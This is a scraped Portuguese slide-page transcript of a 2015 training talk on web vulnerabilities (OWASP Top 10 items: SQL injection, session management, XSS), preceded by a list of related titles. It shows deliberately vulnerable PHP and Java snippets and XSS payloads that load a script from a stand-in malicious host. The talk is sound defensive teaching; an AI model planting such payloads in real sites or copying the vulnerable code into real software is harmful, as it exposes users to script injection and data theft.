VULNERABILIDADES WEB v.2.2



Documentos relacionados
Desenvolvimento e disponibilização de Conteúdos para a Internet

Nomes: Questão 1 Vulnerabilidade: SQL Injection (Injeção de SQL):

Segurança em PHP. Exemplos e Casos Práticos

Análise de Vulnerabilidades em Aplicações WEB

Segurança em aplicações Web. Exemplos e Casos Práticos em

XSS - CROSS-SITE SCRIPTING

Prof. Roberto Franciscatto 4º Semestre - TSI - CAFW. Free Powerpoint Templates Page 1

Segurança em aplicações web: pequenas ideias, grandes resultados Prof. Alex Camargo

Fonte: - Illustration by Gaich Muramatsu

Biblioteca de segurança para tratar as principais vulnerabilidades web

Programação Orientada a Objetos (DPADF 0063)

Conviso Security Training Ementa dos Treinamentos

UNIVERSIDADE DO ESTADO DE SANTA CATARINA CENTRO DE CIÊNCIAS TECNOLÓGICAS - CCT TECNOLOGIA EM ANÁLISE E DESENVOLVIMENTO DE SISTEMAS

INTRODUÇÃO. No entanto, o que pode ser considerado um produto (resultado) da criação de BDs?

Programação com Acesso a Banco de Dados

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Enginner

segurança em aplicações web

Manipulação de Banco de Dados com Java. Ms. Bruno Crestani Calegaro Maio/ 2015

Josh Pauli Revisão técnica Scott White. Novatec

Segurança em Sistemas Web. Addson A. Costa

(In)Segurança em Aplicações Web. Marcelo Mendes Marinho Thiago Canozzo Lahr

AULA APLICAÇÕES PARA WEB SESSÕES E LOGIN E SENHA

Ameaças, riscos e vulnerabilidades Cont. Objetivos

Programação Orientada a Objetos com PHP & MySQL Cookies e Sessões. Prof. MSc. Hugo Souza

Falha segurança Baco Cross-site scripting (XSS) e Logins por canal não seguro (http) perenboom@hmamail.com

O atacante pode roubar a sessão de um usuário legítimo do sistema, que esteja previamente autenticado e realizar operações que o mesmo poderia.

Acesso a Bancos de Dados em Java (JDBC)

Segurança na WEB Ambiente WEB estático

PHP INTEGRAÇÃO COM MYSQL PARTE 2

Curso de Java. Acesso a banco de dados através de JDBC. Todos os direitos reservados Klais

Segurança Web com PHP 5 Douglas V. Pasqua Zend Certified Engineer douglas.pasqua@gmail.com

Java & Bancos de Dados Adaptado de Slides da Universidade Salgado de Oliveira Goiânia

MODSECURITY. Firewall de Aplicação WEB Open Source. Pedro Henrique C. Sampaio UFBA - CRI

Desenvolvimento de Aplicações para Internet Aula 8

Segurança Web com PHP 5

JSF - Controle de Acesso FERNANDO FREITAS COSTA

Programação WEB (JSP + Banco Dados) Eng. Computação Prof. Rodrigo Rocha

Segurança da Internet. Ricardo Terra (rterrabh [at] gmail.com) Segurança da Internet Outubro,

10 maiores riscos em aplicações Web

Aplicação Prática de Lua para Web

Aplicação web protegida

Segurança de Sistemas

PHP e MySQL Autenticação de Usuários

Política de Uso do JEMS para a CAFe

Programação web Prof. Wladimir

PHP Seguro Ernani Azevedo (PROCERGS DRE/ARS Unix)

Group Policy (política de grupo)

JDBC (Java Database Connectivity) Padrão de Projeto DAO (Data Access Object) Roteiro para instalação do banco de dados e do driver JDBC

PHP (Seções, Cookies e Banco de Dados)

Criação Pagina PHP & MySQL

Segurança da Informação:

Gestão de Segurança da Informação. Segurança de Banco de Dados ( SQL Injection, APBIDS, Modelagem )

Exercício em ASP.NET (Agenda)

OWASP. The OWASP Foundation As 10 mais críticas vulnerabilidades de segurança em Aplicações Web

BANCO DE DADOS WEB. Professor Luciano Roberto Rocha

Boas Práticas de Desenvolvimento Seguro

Integrando Java com Banco de Dados

Banco de Dados. Banco de Dados. Alcides Pamplona Alcides Pamplona Linguagem de Programação CESBD 2010

Ambiente Virtual de Avaliações Utilizando Certificados Digitais. Fernando Gevard Acadêmico Paulo Fernando da Silva - Orientador

Java na Web. Aplicações Web

Segurança em Aplicações Web Metodologia OWASP

Sumário. Parte I Introdução Introdução O Rails é ágil Explorando o conteúdo Agradecimentos... 19

Programação Orientada a Objetos JDBC Java Database Connectivity

sobre rogério gonçalves gerente de projetos > digitale agência digital rogerio@digitale.com.br h7p:// h7p://leveme.

Attacking Session Management

FACULDADES INTEGRADAS PROMOVE DE BRASÍLIA PROJETO DE INICIAÇÃO CIENTÍFICA

SISTEMAS DISTRIBUIDOS

Armazenamento organizado facilitando SCRUD; Agiliza processo de desenvolvimento de sistemas;

Linguagem de Programação III Aula 2 Revisão Parte II

Petter Anderson Lopes Arbitragem, Desenvolvimento Seguro, Segurança Ofensiva e Forense Computacional

Instalando servidor Apache

Java Básico JDBC. Razer Anthom Nizer Rojas Montaño Banco de Dados: JDBC

Bool setcookie (string nome [, string valor [, int validade [, string caminho [, string dominio [, int seguro]]]]] )

Prova de pré-requisito

PHP e MySQL. Programação de Servidores Marx Gomes Van der Linden.

Programação WEB II. Sessions e Cookies. progweb2@thiagomiranda.net. Thiago Miranda dos Santos Souza

Cumprindo as exigências 6.6 do PCI DSS

JDBC Java Database Connectivity

JDBC. Siga as instruções para instalar o banco de dados H2 e criar a tabela Alunos.

Pen-test de Aplicações Web: Técnicas e Ferramentas

Programação Web Prof. Wladimir

Transcrição:

VULNERABILIDADES WEB v.2.2 $ whoami Sgt NILSON Sangy Computer Hacking Forensic Investigator Analista de Segurança da Informação Guerreiro Cibernético

$ ls -l /etc 1. Contextualização 2. OWASP 2.1. Injeção de código 2.2. Quebra de autenticação e gerenciamento de sessão 2.3. Cross-Site Scripting (XSS) 3. Conclusão 4. Perguntas Copyright - Nilson Sangy Junior - 2015 2 de 18

$ vim Contextualização Copyright - Nilson Sangy Junior - 2015 3 de 18

$ vim Contextualização Copyright - Nilson Sangy Junior - 2015 4 de 18

$ vim Contextualização www.exploit-db.com Copyright - Nilson Sangy Junior - 2015 5 de 18

$ wget www.owasp.org Open Web Application Security Project Comunidade aberta Dedicada a capacitar as organizações a desenvolver, adquirir e manter aplicações confiáveis. Copyright - Nilson Sangy Junior - 2015 6 de 18

$ wget www.owasp.org Concentre-se em tornar a segurança parte integral da cultura de desenvolvimento da organização. OWASP Top 10-2013 Copyright - Nilson Sangy Junior - 2015 7 de 18

$ egrep A[1-9] OWASP Top 10-2013 A1 Injeção de código A2 Quebra de autenticação e gerenciamento de sessão A3 Cross-Site Scripting (XSS) A4 Referência insegura e direta a objetos A5 Configuração incorreta de segurança A6 Exposição de dados sensíveis A7 Falta de função para controle do nível de acesso A8 Cross-Site Request Forgery (CSRF) Indicadores Facilidade Prevalência Detecção Impacto técnico A9 Utilização de componentes vulneráveis conhecidos A10 Redirecionamentos e encaminhamentos inválidos Copyright - Nilson Sangy Junior - 2015 8 de 18

$ cat A1 Injeção de Código Falhas de injeção ocorrem quando uma aplicação envia dados não-confiáveis para um interpretador. São encontradas em: consultas SQL, LDAP... comandos do SO analisadores XML cabeçalhos SMTP Fonte: https://itswadesh.files.wordpress.com Copyright - Nilson Sangy Junior - 2015 9 de 18

$ cat A1 Injeção de Código SANITIZAR AS ENTRADAS <?php mysql_connect('localhost', 'dbuser', 'dbpass') OR die(mysql_error()); $user = mysql_real_escape_string($_post['username']); $pass = mysql_real_escape_string($_post['password']); $query = "SELECT * FROM users WHERE user='$user' AND password='$pass' "; mysql_query($query);?> Copyright - Nilson Sangy Junior - 2015 10 de 18

$ cat A1 Injeção de Código SANITIZAR AS ENTRADAS /*********** Código Java vulnerável ***************/ String sql = "select * from tabela_usuarios where login='" + campo_login +"' and senha='" + campo_senha + "'"; Statement stmt = con.createstatement(); ResultSet rs = stmt.executequery(sql); /*********** Código Java sanitizado ***************/ String sql = "SELECT * FROM tabela_usuarios WHERE login =? AND senha =?"; PreparedStatement prepstmt = con.preparestatement(sql); prepstmt.setstring(1,login); prepstmt.setstring(2,senha); ResultSet rs = prepstmt.executequery(); Copyright - Nilson Sangy Junior - 2015 11 de 18

$ cat A2 Quebra de Autenticação e Gerenciamento de Sessão Implementação incorreta de autenticação. http://example.com/sale/saleitems;jsessionid=2p0oc2jsndlpskhcjun2jv?dest=hawaii Cuidado com ID da seção. Trate corretamente funções como Lembrar senha, Criar usuário, Alteração de senha. Logout. Lembre de invalidar o ID. Copyright - Nilson Sangy Junior - 2015 12 de 18

$ cat A2 Quebra de Autenticação e Gerenciamento de Sessão Política de senhas fortes. Armazenar hash de senha. 1ca308df6cdb0a8bf40d59be2a17eac1 teste Copyright - Nilson Sangy Junior - 2015 13 de 18

$ cat A3 Cross-Site Scripting (XSS) XSS é a mais predominante falha de segurança em aplicações web. As falhas de XSS ocorrem quando uma aplicação inclui os dados fornecidos pelo usuário na página, enviados ao navegador, sem a validação ou filtro apropriados desse conteúdo. Copyright - Nilson Sangy Junior - 2015 14 de 18

$ cat A3 Cross-Site Scripting (XSS) XSS persistente Campos de nome e sobrenome de usuários sem tratamento. Inserção do código Fulano de Tal <SCRIPT SRC='http://malicioso.ck.bz/badguy.js'></SCRIPT> Toda vez que o nome do Fulano aparecer em uma busca, o script será executado pelo navegador da vítima. Copyright - Nilson Sangy Junior - 2015 15 de 18

$ cat A3 Cross-Site Scripting (XSS) XSS não-persistente <?php include in/resulte_busca.php ; if (isset($_get[ Campo_Busca ])) { $find =$_GET[ Campo_Busca ]; echo Resultado da Busca <s>. $find. </s> ; }?> busca($find); http://sitevulneravel.com.br/busca/busca.php?busca%3cscript SRC='http://malicioso.ck.bz/badguy.js'%3E%3C%2Fscript%3E</h1> Copyright - Nilson Sangy Junior - 2015 16 de 18

# halt > CONCLUSÃO Em todo sistema há uma vulnerabilidade. A questão é saber quanto tempo levará para ela ser descoberta e explorada. Copyright - Nilson Sangy Junior - 2015 17 de 18

PERGUNTAS??? Copyright - Nilson Sangy Junior - 2015 18 de 18

*** H@ck3d by n1l$0n&ang% *** GAME OVER!!! nilson.sangy@gmail.com http://br.linkedin.com/in/nilsonsangy +55 (41) 8497-0802